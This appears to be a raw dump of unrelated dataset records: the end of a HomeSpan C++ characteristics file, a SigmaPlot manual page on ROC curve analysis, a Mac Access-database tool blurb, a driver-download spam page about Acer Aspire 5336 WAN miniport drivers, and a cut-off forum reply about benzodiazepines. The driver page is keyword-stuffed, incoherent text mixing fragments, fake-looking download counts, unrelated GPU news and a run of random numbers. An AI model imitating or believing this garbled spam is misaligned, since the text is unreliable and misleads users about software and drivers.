CREATE_CHAR(ContactSensorState,uint8_t,1);\n CREATE_CHAR(CurrentAmbientLightLevel,double,1);\n CREATE_CHAR(CurrentHorizontalTiltAngle,int,0);\n CREATE_CHAR(CurrentAirPurifierState,uint8_t,1);\n CREATE_CHAR(CurrentSlatState,uint8_t,0);\n CREATE_CHAR(CurrentPosition,uint8_t,0);\n CREATE_CHAR(CurrentVerticalTiltAngle,int,0);\n CREATE_CHAR(CurrentHumidifierDehumidifierState,uint8_t,1);\n CREATE_CHAR(CurrentDoorState,uint8_t,1);\n CREATE_CHAR(CurrentFanState,uint8_t,1);\n CREATE_CHAR(CurrentHeatingCoolingState,uint8_t,0);\n CREATE_CHAR(CurrentHeaterCoolerState,uint8_t,1);\n CREATE_CHAR(CurrentRelativeHumidity,double,0);\n CREATE_CHAR(CurrentTemperature,double,0);\n CREATE_CHAR(CurrentTiltAngle,int,0);\n CREATE_CHAR(FilterLifeLevel,double,0);\n CREATE_CHAR(FilterChangeIndication,uint8_t,0);\n CREATE_CHAR(FirmwareRevision,const char *,\"1.0.0\");\n CREATE_CHAR(HardwareRevision,const char *,\"1.0.0\");\n CREATE_CHAR(HeatingThresholdTemperature,double,16);\n CREATE_CHAR(HoldPosition,boolean,false);\n CREATE_CHAR(Hue,double,0);\n CREATE_CHAR(Identify,boolean,false);\n CREATE_CHAR(InUse,uint8_t,0);\n CREATE_CHAR(IsConfigured,uint8_t,0);\n CREATE_CHAR(LeakDetected,uint8_t,0);\n CREATE_CHAR(LockCurrentState,uint8_t,0);\n CREATE_CHAR(LockPhysicalControls,uint8_t,0);\n CREATE_CHAR(LockTargetState,uint8_t,0);\n CREATE_CHAR(Manufacturer,const char *,\"HomeSpan\");\n CREATE_CHAR(Model,const char *,\"HomeSpan-ESP32\");\n CREATE_CHAR(MotionDetected,boolean,false);\n CREATE_CHAR(Mute,boolean,false);\n CREATE_CHAR(Name,const char *,\"unnamed\");\n CREATE_CHAR(NitrogenDioxideDensity,double,0);\n CREATE_CHAR(ObstructionDetected,boolean,false);\n CREATE_CHAR(PM25Density,double,0);\n CREATE_CHAR(OccupancyDetected,uint8_t,0);\n CREATE_CHAR(OutletInUse,boolean,false);\n CREATE_CHAR(On,boolean,false);\n CREATE_CHAR(OzoneDensity,double,0);\n CREATE_CHAR(PM10Density,double,0);\n CREATE_CHAR(PositionState,uint8_t,2);\n CREATE_CHAR(ProgramMode,uint8_t,0);\n CREATE_CHAR(ProgrammableSwitchEvent,uint8_t,0);\n CREATE_CHAR(RelativeHumidityDehumidifierThreshold,double,50);\n CREATE_CHAR(RelativeHumidityHumidifierThreshold,double,50);\n CREATE_CHAR(RemainingDuration,uint32_t,60);\n CREATE_CHAR(ResetFilterIndication,uint8_t,0);\n CREATE_CHAR(RotationDirection,int,0);\n CREATE_CHAR(RotationSpeed,double,0);\n CREATE_CHAR(Saturation,double,0);\n CREATE_CHAR(SecuritySystemAlarmType,uint8_t,0);\n CREATE_CHAR(SecuritySystemCurrentState,uint8_t,3);\n CREATE_CHAR(SecuritySystemTargetState,uint8_t,3); \n CREATE_CHAR(SerialNumber,const char *,\"HS-12345\");\n CREATE_CHAR(ServiceLabelIndex,uint8_t,1);\n CREATE_CHAR(ServiceLabelNamespace,uint8_t,1);\n CREATE_CHAR(SlatType,uint8_t,0);\n CREATE_CHAR(SmokeDetected,uint8_t,0);\n CREATE_CHAR(StatusActive,boolean,true);\n CREATE_CHAR(StatusFault,uint8_t,0);\n CREATE_CHAR(StatusJammed,uint8_t,0);\n CREATE_CHAR(StatusLowBattery,uint8_t,0);\n CREATE_CHAR(StatusTampered,uint8_t,0);\n CREATE_CHAR(SulphurDioxideDensity,double,0);\n CREATE_CHAR(SwingMode,uint8_t,0);\n CREATE_CHAR(TargetAirPurifierState,uint8_t,1);\n CREATE_CHAR(TargetFanState,uint8_t,1);\n CREATE_CHAR(TargetTiltAngle,int,0);\n CREATE_CHAR(SetDuration,uint32_t,60);\n CREATE_CHAR(TargetHorizontalTiltAngle,int,0);\n CREATE_CHAR(TargetHumidifierDehumidifierState,uint8_t,0);\n CREATE_CHAR(TargetPosition,uint8_t,0);\n CREATE_CHAR(TargetDoorState,uint8_t,1);\n CREATE_CHAR(TargetHeatingCoolingState,uint8_t,0);\n CREATE_CHAR(TargetRelativeHumidity,double,0);\n CREATE_CHAR(TargetTemperature,double,16);\n CREATE_CHAR(TemperatureDisplayUnits,uint8_t,0);\n CREATE_CHAR(TargetVerticalTiltAngle,int,0);\n CREATE_CHAR(ValveType,uint8_t,0);\n CREATE_CHAR(Version,const char *,\"1.0.0\");\n CREATE_CHAR(VOCDensity,double,0);\n CREATE_CHAR(Volume,uint8_t,0);\n CREATE_CHAR(WaterLevel,double,0);\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 4481, "token_count_with_eod": 4482, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "ROC Curves Analysis\nReceiver operating characteristic (ROC) curves are used in medicine to determine a cutoff value for a clinical test. For example, the cutoff value of 4.0 ng/ml was determined for the prostate specific antigen (PSA) test for prostate cancer. A test value below 4.0 is considered to be normal and above 4.0 to be abnormal. Clearly there will be patients with PSA values below 4.0 that are abnormal (false negative) and those above 4.0 that are normal (false positive). The goal of an ROC curve analysis is to determine the cutoff value.\nAssume that there are two groups of men and by using a “gold standard” technique one group is known to be normal (negative), not have prostate cancer, and the other is known to have prostate cancer (positive). A blood measurement of prostate-specific antigen is made in all men and used to test for the disease. The test will find some, but not all, abnormals to have the disease. The ratio of the abnormals found by the test to the total number of abnormals known to have the disease is the true positive rate (also known as sensitivity).\nThe test will find some, but not all, normals to not have the disease. The ratio of the normals found by the test to the total number of normals (known from the gold standard technique) is the true negative rate (also known as specificity). The hope is that the ROC curve analysis of the PSA test will find a cutoff value that will, in some way, minimize the number of false positives and false negatives. Minimizing the false positives and false negatives is the same as maximizing the sensitivity and specificity.\nFor the PSA test abnormal values are large (> 4) and normal values are small (<4). This is not always the case, however, so the present program allows for both conditions of abnormal being larger and abnormal being smaller.\nThe ROC curve is a graph of sensitivity (y-axis) vs. 1 – specificity (x-axis). An example is shown in Figure 1. Maximizing sensitivity corresponds to some large y value on the ROC curve. Maximizing specificity corresponds to a small x value on the ROC curve. Thus a good first choice for a test cutoff value is that value which corresponds to a point on the ROC curve nearest to the upper left corner of the ROC graph. This is not always true however.\nFor example, in some screening applications it is important not to miss detecting an abnormal therefore it is more important to maximize sensitivity (minimize false negatives) than to maximize specificity. In this case the optimal cutoff point on the ROC curve will move from the vicinity of the upper left corner over toward the upper right corner. In prostate cancer screening, however, because benign enlargement of the prostate can lead to abnormal (high) PSA values, false positives are common and undesirable (expensive biopsy, emotional impact). In this case maximizing specificity is important (moving toward the lower left corner of the ROC curve).\nFigure 1. An example ROC curve.\nAn important measure of the accuracy of the clinical test is the area under the ROC curve. If this area is equal to 1.0 then the ROC curve consists of two straight lines, one vertical from 0,0 to 0,1 and the next horizontal from 0,1 to 1,1. This test is 100% accurate because both the sensitivity and specificity are 1.0 so there are no false positives and no false negatives.\nOn the other hand a test that cannot discriminate between normal and abnormal corresponds to an ROC curve that is the diagonal line from 0,0 to 1,1. The ROC area for this line is 0.5. ROC curve areas are typically between 0.5 and 1.0 like shown in Figure 1.\nTwo or more tests can be compared by statistically comparing the ROC areas for each test. The tests may be correlated because they occurred from multiple measurements on the same individual. Or they may be uncorrelated because they resulted from measurements on different individuals. The ROC Curves Analysis Module refers to this as “Paired” and “Unpaired”, respectively, and can analyze either situation.\nThe test measurements may contain missing values and two methods are provided to handle missing values when comparing ROC areas – pairwise deletion and casewise deletion. This is described in detail later.\nGiven a value for the probability that the patient has the disease (pre-test probability) the probability that the patient has the disease, given the value of the test measurement, can be computed. Also, given a value for the false-positive/false-negative cost ratio (for the screening example above, the false-negative cost would be greater than the false-positive cost), an optimal test value cutoff can be computed. The present program allows entry of the pre-test probability and the false-positive/false-negative cost ratio.\nData can be entered in two formats in SigmaPlot – Indexed and Grouped.\nIndexed Data Format\nThis is the format found in statistics programs such as SYSTAT and SigmaStat. “Indexed” is the terminology used in SigmaStat. It has one column that indexes another column (or other columns). It is also the format of the output of logistic regression where ROC curves are used to determine the ability of different logistic models to discriminate negative from positive test results (normals from abnormals). Each data set consists of a pair of columns – a classification variable and a test variable. The classification variable has a binary state that is either negative (normal) or positive (abnormal).\nMany programs use a value of 1 for positive and 0 for negative. The classification variable is required to be located in column 1 of the worksheet. The test variable is a continuous numeric variable and contains the test results. A single test variable will be located in column 2.\nMultiple test variables will be located in multiple columns starting in column 2. There is no built-in limit for the number of test variables. There is only one classification variable for multiple test variables and it is located in column 1. The test variable columns must be left justified and contiguous. Therefore no empty columns to the left of or within the data are allowed.\nThe following example shows a few rows of data for two data sets. The first column is the classification variable. It contains a column title “Thyroid Function” which is the classification variable name. It also contains the two classification states “Hypothyroid” and “Euthyroid” (normal thyroid function).\nHypothyroid and Euthyroid are the abnormal and normal classification states, respectively. T4 and T5 are the names of different blood tests that will be used in the ROC analysis to discriminate between normal and abnormal and then compared to determine which is the better test. The classification variable must be in column 1 and the two test variables in the two columns adjacent to it\nThe classification variable name will be obtained from the column 1 column title if it exists. The test names will be obtained from the column titles of the test variable columns if they exist. The classification state names will be obtained from the entries in the cells of column 1.\nIf no column titles have been entered for the test variables then default names for the tests, “Test 1”, “Test 2”, etc., will be used and displayed in the graphs and reports. The test variable names should be unique but the program will subscript any identical names that are not.\nFigure 2. Indexed data format for two tests. The test names are T4 and T5, the classification states are Euthyroid and Hypothyroid and the Classification variable name is Thyroid Function. The index column is always column 1 and data columns must be left adjusted.\nThere must be two or more non-missing data points for each test for each classification state. Missing values are handled automatically by the analysis. For data columns, missing values are everything but numeric values (blank cells, the SigmaPlot double-dash missing value symbol, “+inf”, “-inf”, “NaN”, etc.). Missing values are ignored for all computations except the Paired area comparison (see the Missing Value Method section) where they are handled using one of two possible algorithms.\nGrouped Data Format\nThe grouped data format consists of pairs of data columns – one pair for each test. One column in a data pair consists of the negative (normal) data values and the other column for positive (abnormal) values. So, for example, if two tests are to be compared, the worksheet will contain four columns of data – the first two columns for the first test and the third and fourth column for the second test.\nA specific column title format is used to identify the test associated with the data column pair and the classification states within each pair. The user is encouraged to use this format since it clearly identifies the data in the data worksheet and will annotate all the graphs and reports generated.\nIt is not necessary to use column titles as the program will identify column pairs starting in column 1 with the generated test names Test 1, Test 2, etc., and will arbitrarily assign “1” and “0” classification state names to the first and second columns, respectively, but this is clearly not the best way to organize the data. Since the test names and classification states are numerical it is also more difficult to interpret the results.\nColumn Title Convention for Grouped Data\nThis column title convention is a simple way to identify worksheet data for the Grouped data format. The following example shows a few rows for two data sets. The first two columns contain the data for the T4 test. The first column “T4 – Euthyroid” is the column with the normal data for test T4. The column title consists of the test name followed by a minus sign followed by the classification state. Spaces on either side of the minus sign are ignored. The second column “T4 – Hypothyroid” is the column with the abnormal data for test T4. The third and fourth column titles are the same as the first two except the second test name T5 is used.\nFigure 3. Grouped data format for two tests. This is the same data as in Figure 1. There are two tests T4 and T5. Each test consists of a pair of data columns. In this case T4 is in columns 1 and 2 and T5 in columns 3 and 4. The “Test-State” column title format is used to identify the two tests and the normal (Euthyroid) and abnormal (Hypothyroid) states.\nThe test names in both columns of a column pair must be the same. Also there must be exactly two classification states in the column titles.\nLike Indexed format, missing values in the worksheet cells are ignored except for special handling when comparing ROC areas (see the Missing Value Method section).\nSelecting ROC Curves from the SigmaPlot Toolbox ribbon opens the dialog:\nTest and classification state names from the indexed data shown in Figure 2 of the Data Entry section are displayed in this dialog.\nData Selection Options\nData Format (Automatic Determination)\nIn most case the program will identify the data format from the information in the data worksheet. In the dialog above the format was identified as Indexed. You may select from the two formats – Indexed and Grouped.\nAvailable Data Sets – Selected Data Sets\nSelect one or more of the available data sets by clicking on them in the Available Data Sets window and then clicking on the Add button. If desired, you may then select a test name in the Selected Data Sets window and click Remove to deselect the test.\nIf two or more data sets are selected then the Data Type option for correlated tests is made available\nYou may select either Paired, for correlated tests, or Unpaired. If Paired is selected the ROC areas and area comparisons are determined using the DeLong, Delong and Clarke-Pearson method(2). If Unpaired is selected the areas are computed using the Hanley and McNeil method(3) and the areas are compared using a Z test.\nMissing Value Method\nIf missing values exist then two options are available for the pairwise comparison of ROC areas – Pairwise Deletion and Casewise Deletion.This option is not available if no missing values exist.\nPairwise deletion only deletes rows containing missing values for the particular pair being analyzed – not for an entire row of data. Fewer data values are deleted using this method. There are situations when pairwise deletion will fail but this is the option to use when it is possible.\nCasewise deletion deletes all cells in any row of data containing a missing value. Much more data may be deleted using this option. To better understand the difference, consider a simple example of two data columns of equal length one of which has no missing values and the other has one missing value.\nWhen ROC areas are being compared, certain computations on these two columns will be done pairwise – the first column with itself, the first column with the second column and the second column with itself. When the column without a missing value is being compared with itself no row deletions occur for pairwise deletion.\nFor casewise deletion, however, the row that contains the missing value will be deleted from both data sets. So, for casewise deletion, the computation involving the column without a missing value with itself will be done with one row deleted (the row corresponding to the missing value in the other data set). The program determines when pairwise deletion is not valid and informs the user when this is the case.\nPositive State Options – Classification State and Direction\nThe two classification states are referred to as “Negative” (normal) or “Positive” (abnormal). The ROC analysis software must be informed which state is “Positive” and whether the test measurement values for the positive state are “High”, meaning higher than those of the negative state, or “Low”, meaning lower than those of the negative state.\nAccepted normal values for the PSA (prostate specific antigen) test are less than 4 ng/ml and abnormal values are higher than this. Thus if the two classification states names are “positive” and “negative” then the Positive state is “positive” and the Positive Direction is “High”. In this case you would select the radio button next to “positive” and “High”.\nOn the other hand, for the T4 (thyroxine) test for hypothyroidism the T4 values are lower in the abnormal state than for the normal state. In this case the abnormal Positive State is “Hypothyroid” and the Positive Direction is “Low”. So you would select the radio button next to “Hypothyroid” and “Low”.\nWhat happens if you select the incorrect option? Sensitivity (specificity) is defined in terms of the positive (negative) state. So if the positive state is incorrectly selected then sensitivity and specificity will be incorrectly defined (switched) and the ROC curve will have the X and Y axes switched. This will result in an ROC curve that appears below the diagonal unity line. It will have an area less than 0.5. The program will detect this and give you the options\nIt is possible that there is something wrong with the data so you can Abort the analysis and correct the problem. More likely you have selected the incorrect positive state or direction so you can Retry the analysis with correct selections. In rare occasions for multiple tests some tests will have areas greater than 0.5 and one or more will have areas less than 0.5. In this case you can Ignore this warning and continue with the analysis.\nConfidence intervals are computed for statistics in both the Sensitivity & Specificity and Area Comparison reports. You can generate 90, 95 and 99% confidence intervals.\nCreate Sensitivity and Specificity Report\nCutoff values are created between each test data value in the (sorted) data set. If there are a large number of data points and several tests then there will be a large number of cutoff values and the Sensitivity & Specificity Report can be very long. The checkbox:\nallows you to turn off this report. If you turn off this report then all report options in the dialog below this are not required and are disabled.\nYou may display sensitivities, specificities and probabilities in either fraction or percent format. Selecting Percents also requires the pre-test probability to be entered as a percent.\nCreate Post-Test Results\nSelecting this option allows entry of the pre-test probability. It also enables the possible entry of the false-positive/false-negative cost ratio. Given a pre-test probability the program will create post-test probabilities, both the positive predictive value (PV + = probability of disease given a positive test result) and the negative predictive value (PV – = probability of no disease given a negative test result), for each cutoff value. If the cost ratio option is selected then the optimal cutoff value will be computed. All of these results are displayed for each test in the Sensitivity & Specificity report.\nROC Graph Options\nAll of the graph options in the dialog apply to the ROC graph. They allow you to add a diagonal line to the graph, add grid lines, add symbols for sensitivity and specificity at each cutoff point and change the ROC plot lines from solid to different line styles.\nTypical results of the ROC analysis are shown in the following example from the Notebook Manager.\nThe first section entitled “Ovarian Cancer” contains the worksheet containing the raw data. The program created the next three sections that contain two graphs and two reports. The contents of the two graphs:\n- ROC Curves\n- Dot Histogram\n- and two reports\n- Sensitivity & Specificity\n- ROC Areas\nare described in the next sections.\nROC Curves Graph\nThe ROC curves graph for three data sets is shown in Figure 4. These graphs are derived from numerical results in the worksheet entitled Graph Data. The graph title is obtained from the section name containing the raw data. The legend shows the test names and the ROC areas for each curve. The diagonal line and grids options were selected for this graph.\nFigure 4. The ROC curves graph for three tests.\nOf course this graph can be edited in any way you wish. You might want to change the starting color of the color scheme used for the line colors. You can do this by double clicking on one of the ROC plot lines and then right clicking on the Line Color listbox as shown next.\nDot Histogram Graph\nDot histograms for the data associated with the ROC curves in Figure 4 are shown in Figure 5.\nFigure 5. Dot histogram pairs for each test. The horizontal lines and the tables below the graph show the optimal cutoff values determined from the pre-test probability and cost ratio.\nThe graph title is obtained from the title of the section containing the raw data. The x-axis tick labels are obtained from the test names and the classification state names. The tick labels will rotate if they are too long to fit horizontally. The symbol layout design allows for symbols to touch horizontally and nest vertically.\nIf values for pre-test probability and false-positive/false-negative cost ratio are entered then the optimal cutoff values for each test are computed and represented as a horizontal line across the two dot histograms for each test. The numeric values for the optimal cutoff parameters are shown as tables below the x-axis.\nSensitivity & Specificity Report\nThe sensitivity & Specificity report contains results for all tests with additional tests results placed in report rows below those of prior tests. The results for each test can be separated into three parts: 1) optimal cutoff value, 2) sensitivity and specificity versus cutoff values and 3) likelihood ratios and post-test probabilities.\nIf values for both pre-test probability and cost ratio have been entered then the optimal cutoff is calculated. A slope of the tangent to the ROC curve m is defined in terms of the two entered values (P = pre-test probability)(1)\nThe optimal cutoff value is computed from sensitivity and specificity using the slope m by finding the cutoff that maximizes the function (1)\nThe results of this computation in the Sensitivity & Specificity report are shown in Table 1.\nTable 1. Optimal cutoff results in the Sensitivity & Specificity report.\nFor this data set, the optimal cutoff is 7.125 for a pre-test probability of 0.5 and cost ratio of 1.0.\nSensitivities, specificities and their confidence intervals are listed as a function of cutoff value in the second part of the report. A portion of these results is shown in Table 2. These results can be expressed as fractions or percents by using the Fractions/Percents option.\nTable 2. Sensitivity and specificity results in the Sensitivity & Specificity report.\nThe third part of the Sensitivity & Specificity report contains the likelihood ratios and post-test probabilities.\nThe positive and negative likelihood ratios are defined respectively as\nThe post-test probabilities are the probability of disease given a positive test (PV+) and the probability of no disease given a negative test (PV-). These will be computed when a pre-test probability has been entered. Using P = pre-test probability, the equations used for these probabilities are\nA portion of the report showing the likelihood and post-test probabilities results is shown in Table 3.\nTable 3. Positive and negative likelihood ratios, LR+ and LR-, and post-test probabilities, PV+ and PV-, in the Sensitivity & Specificity report.\nThe positive likelihood ratio is not defined for some cutoff values since specificity = 1.\nROC Areas Report\nThe ROC Area report consists of two parts: 1) ROC areas and their associated statistics and 2) pairwise comparison of ROC areas. An example of a report is shown in Table 4.\nTable 4. An example ROC Areas report. From top to bottom it shows the type of analysis used together with the missing value method, the ROC areas and associated statistics and a pairwise comparison of ROC areas.\nIn this case there are three correlated tests. Row two of the report shows that a Paired Analysis was performed and, since there were missing values in the data, Pairwise Deletion of missing values was selected to compare the areas.\nThe first section of the report shows the ROC curve areas for the three tests. This is followed by the standard error of the area estimate, the 95% confidence interval (90% and 99% are also available) and the P value that determines if the area value is significantly different from 0.5. The sample size and the number of missing values for each classification state are given. The number of missing values reflects only what is seen in the data and does not give the number used for each computation-pair in the pairwise-deleted comparison of areas.\nThe second section shows the results of the pairwise comparison of areas. The method of DeLong, DeLong and Clarke-Pearson(2) is used to compare areas when the Paired data type option is selected. When the Unpaired data type is selected, areas are compared using a Z test. The report shows results for all pairs of data sets. The difference of each area pair and its standard error and 95% confidence interval are computed. This is followed by the chi-square statistic for the area comparison (or Z statistic if Unpaired is selected) and its associated P value.\nFormatted Full Precision Display\nThis report presents the numeric results in a four significant digit format with full precision available. Double click on any cell (except the confidence intervals) to display the number at full precision.\nResults data in both reports can be used to create additional graphs. Some examples seen in the literature are shown here.\nSensitivity and Specificity vs. Cutoff\nThe data for the graph in Figure 6 is from the Sensitivity & Specificity report in columns 1, 2 and 4. Use the Data Sampling option in Graph Properties, Plots, Data to specify the row range for the graph (you can also drag select the rows in the worksheet to do this).\nFigure 6. Graph of sensitivity and specificity vs. cutoff for one test using data from columns 1,2 and 4 of the Sensitivity & Specificity report.\nThe positive and negative likelihood ratios for three different imaging modalities are shown in Figure 7 (the data is artificial). The data is in columns 1, 6 and 7 of the Sensitivity & Specificity report. The values associated with the optimal cutoff are shown as solid symbols. The largest positive likelihood and smallest negative likelihood at the optimal cutoff is associated with magnetic resonance imaging (MR).\nFigure 7. Positive and negative likelihood ratios graphed from data in the Sensitivity & Specificity report from columns 1, 6 and 7. The results for three tests are shown together with values associated with the optimal cutoff (solid symbols).\nOptimal Cutoff vs. Cost Ratio\nFrequently it can be difficult to determine a value for the false-positive/false-negative cost ratio. So it is worth performing a sensitivity analysis (sensitivity here means how much one variable changes with changes in a second variable) to see whether the cutoff value changes significantly in the range of cost-ratio values of interest. The ROC Curves Module was run multiple times for different cost ratios and a graph of optimal cutoff vs. cost ratio for the three imaging modality tests is shown below.\nFigure 8. Optimal cutoff values obtained from multiple runs of the program. Regions of insensitivity, or strong sensitivity, to cost ratio can be identified.\nIf the relative cost of a false-positive is much greater than that of a false-negative then the cost ratio is greater than 1. But lets assume that we don´t know exactly how much greater it is but have some idea that it should be in the range of 2 to 5, say. Looking at the optimal cutoff for the best imaging modality (MR, green line) we find that it doesn´t change for cost ratios from 2 to 20. So the optimal cutoff is insensitive to cost ratio and, in this case, it is not important to know a precise value for cost-ratio.\nPost-Test Probability vs. Pre-Test Probability\nGiven values of sensitivity and specificity associated with the optimal cutoff a graph of post-test probabilities as a function of pre-test probability can be created using equations (5) and (6). The post-test probability of disease when the test is positive, blue lines in Figure 9, was obtained from equation (5) and the post-test probability of disease when the test was negative, red lines, was obtained from 1.0 minus equation (6). A transform was written in SigmaPlot implementing these two equations that generated the post-test probabilities for a range of pre-test probabilities.\nThe results for the best test, MR, and worst test, US, are shown. The MR test is clearly better since the post-test probability range, from negative test to positive test, is larger. Thus given a positive test the patient is more likely to have the disease using the MR test rather than the US test. Similarly, given a negative test it is less likely that the patient has the disease using the MR test.\nFigure 9. Post-test probabilities of disease given positive and negative test results. The MR test is based on sensitivity = 0.94 and specificity = 0.97 whereas the US test used sensitivity = 0.78 and specificity = 0.85.\n- Zweig, MH, Campbell, G. Receiver-operating characteristic (ROC) plots: A fundamental evaluation tool in clinical medicine. Clin Chem 1993;39/4, 56-577.\n- DeLong, ER, DeLong, DM, Clarke-Pearson, DL. Comparing the areas under two or more correlated receiver operating characteristic curves: a nonparametric approach. Biometrics 1988;44, 837-845.\n- Hanley,JA, McNeil, BJ.The meaning and use of the area under a receiver operating characteristic (ROC) curve.Radiology 1982, 143, 29-36.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 5839, "token_count_with_eod": 5840, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "What is MDB Tool - For Microsoft Access?\nMDB Tool is the best resource for viewing Microsoft Access databases on a Mac. You can use it to export your data directly into SQL (for creating an SQLITE database) or directly to CSV and launch it into Excel.\n- Support for Unicode data.\n- Export options for both SQL & CSV.\n- Quick table view count.\nPlease note: Databases must be in the Access 2007 or below format.\nMDB Tool - For Microsoft Access Screenshots\nMDB Tool - For Microsoft Access information", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Acer aspire 5336 atheros wlan driver acer aspire 5336 wlan driver acer aspire 5336 drivers acer aspire notebook aspire 5336. Download free driver for ras async adapter 2000 xp w2k3. The wan miniport is a software adapter used by the operating system to access the wan. Latest acer driver working fine, comcast router working fine, did all the remedies on the web except the rasppoe. A dependable celeron processor handles applications with ease, and the 15. I have an aspire 5336 and i just updated to windows 10. For a few days my wireless internet connection keeps dropping. Wan miniport pptp driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. Apr 28, 2012 wireless network adapter missing for acer aspire 5336.\nAcer ndis wan miniport adapter updated driver found 14. Uploaded on 412019, downloaded 3749 times, receiving a 79100 rating by 2605 users. Lg xnote, gateway m6888u, fujitsu fmvnb16c, acer aspire 5670. Download atheros wireless lan driver for windows 7 3264bit.\nI just downloaded the iso for norton ghost 15, created the installation cd, installed ghost, and ran the driver validation from the installation cd. Elsa is currently preparing to launch an ingenious graphics card on the basis of nvidia geforce gtx 650 ti adapter. Wireless network adapter missing for acer aspire 5336. Atheros wireless lan driver for acer aspire 5336 v.\nLatest wan miniport pppoe driver download for windows 7, 8. Usability, performance and portability are all disappointing and make this. Uploaded on 4122019, downloaded 508 times, receiving a 89100 rating by 5 users. Working how to update wan miniport pppoe driver in windows. Connecting throught a wan miniport requires a pppoe connection. Problems with wan miniport drivers windows 7 help forums. You see, i keep getting a internet connection box pop up when i try and connect to the net like a dial up connection but im on broadband. Good afternoon acer community, im having a prolonged issue with the internet stability of my aspire notebook that i purchased in 2012. Wan miniport pppoe wan miniport pptp wireless intermediate driver. Here are the steps to reinstall wan miniport devices. Buy memory ram upgrades for your acer aspire notebook 5336 2615 100% compatibility guaranteed. Which site will i download wan miniport ip, ipv6 l2tp network monitor pppoe pptp sstp from. Missing drivers for wan miniport windows 7 help forums. Right click on the wireless adapter and see if youll have an option for enable.\nJan 06, 2012 missing drivers for wan miniport i have a toshiba satellite a660047 psaw3c047017 running windows 7 professional 64bit. My pc hp mini laptop need these software to run and connect to the internet, all these wan network show yellow warning sign in my pc and my pc says i need to get these software to install before i can connect to the internet. When i start photoshop it says i need to update the driver to the graphics card. When im multi tasking it sometimes becomes unresponsive for a few seconds, no biggie, but it annoys me. Wan miniport ipv6 driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. This will help if you installed an incorrect or mismatched driver. Download the latest driver for wan miniport pppoe, fix the missing driver with wan miniport pppoe home. Acer aspire 5336 laptop drivers for windows 10 x64.\nAcer aspire notebook 53362615 memory ram upgrades free. I have an acer aspire 5336, nothing special at all i am finding a bottleneck on the cpu i think, ive always had this, even when new. Acer aspire 5336 notebook bios acer aspire 5336 notebook bios. Aspire 5336 windows 10 and device driver update acer community. Thanks to the implementation of a fullfledged gk110 core and the increase of clock frequencies, the card is going to compete with gtx titan model, as well as with a toptier radeon r9 290x from amd. Wan miniport pppoe driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. Is it possible to upgrade my aspire 5336 processor corei5. The factory restore was performed due to a bad win10 upgrade. Acer laptop aspire a31553g driver download and accessory. Huge range of laptops with free delivery and returns on eligible orders.\nMost of those on windows system ike,l2tp,pptp are for builtin windows vpn functionality, ip. Nov 17, 2010 this will help if you installed an incorrect or mismatched driver. Download acer aspire 5336 laptop drivers for windows 10 x64. Code 10 for virtual wifi miniport adapter acer aspire.\nWan wide area network miniport driver is a driver software that allows alternative network connection in your windows computer. Acer ndis wan miniport adapter updated driver installation guide. Just noticed im having a code 10 for the virtual miniport adapter and windows cannot fix it alone please help. Save acer aspire 5336 pew72 to get email alerts and updates on your ebay feed. Acer laptop aspire a31553g 4 stars by 17 users laptop. Download acer aspire 5336 notebook atheros wlan driver 9. Wan miniport pppoe teredo tunneling pseudointerface. Install acer aspire 5336 laptop drivers for windows 10 x64, or download driverpack solution software for automatic drivers intallation and update. Uploaded on 2122019, downloaded 5052 times, receiving a 80100 rating by 3496 users. You can help protect yourself from scammers by verifying that the contact is a microsoft agent or microsoft employee and that the phone number is an official microsoft global customer service number.\nIm using an ethernet cable from the comcast router to my miniport. The approved driver for the acer laptop is qualcomm atheros ethernet, computer says its fine. I looked up the driver on both the intel and the acer sites but since this computer is so old there doesnt seem to be an update. Battery, keyboard, fan, motherboard, ram, dvd, wifi. I have an acer aspire 5336 that i have performed a factory reset on. I just checked my acer one netbook, which i run wirelessly and no wan miniport there either.\nProblems can arise when your hardware device is too old or not supported any longer. Hi, here are some troubleshooting steps that may do the trick for you. Aspire 5336 windows 10 and device driver update acer. Under network adapters, you will see wan miniport devices ip, l2tp, pppoe, pptp.\nAcer aspire 5336 laptop keyboard keys laptop key replacement kit includes key cap, hinge clip, and cup. Not having these installed caused the system to have network driver installation and connectivity issues. Pppoe wan miniport driver well the labtop is saying its connected to the router all the paswrds and stuff has been put in so its connected to the internet but my ie is not registering the connection. Aug 14, 2011 and when i go into device manager, and look for my network drivers, all i have in there is a wan miniport with a excalmation mark next to it. How to fix wan miniport driver issues in windows os. Wan miniport pppoe driver is needed for the operating system to establish a point to point protocol over ethernet. Make sure that new replacement screen has same size, resolution, backlight type as your original screen.\nAcer aspire as7750g9810 internet stability acer community. Acer ndis wan miniport adapter update driver, windows vista drivers. Download ras async adapter driver for windows 2000 windows. After a line of rumors and leaks, nvidia has officially introduced its latest powerful graphics card, codenamed geforce gtx 780 ti. The aspire 5336 meets your daily computing needs at home or on the road and offers hd media playback. After two days of trying everything to get an internet connection back, i have given up and signed up here to get some help. Windows 7 wan miniport pppoe missing on thinkcentre a58.\nUploaded on 1212019, downloaded 303 times, receiving a 89100 rating by 336 users. Uploaded on 4242019, downloaded 6402 times, receiving a 76100 rating by 4324 users. Acer aspire 5336 drivers download for windows 7 blogger. Tech support scams are an industrywide issue where scammers trick you into paying for unnecessary technical support services. Wide area network wan miniport driver is handy driver software that enables alternative network connection methods in your windows. Free download driver utilities for acer notebook laptop aspire 5336 direct links. Wan miniport driver issues in windows 10, 8, 7 solved driver. After you back up your important files and make your recovery discs and also your drivers and applications disc, my advice would be to access a command prompt from outside of windows and run diskpart clean to completely. And i got windows xp sp2 and i need drivers for wireless.451 313 227 124 880 707 483 1318 1527 746 1421 695 784 852 1304 536 1221 898 1056 1096 215 938 905 185 1102 443 772 1163 1084 1141 101 1243 290 865 485", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2333, "token_count_with_eod": 2334, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Originally posted by I_bRAD\nI tried the meds route and it was a really bad idea.\nMy advice: Stay away from the benzos (ie. Atavan, valium, xanax... basically any drug whose non-brand name ends in \"am\")\nThose are addictive and they'll cause more trouble in the long term.\nOriginally posted by 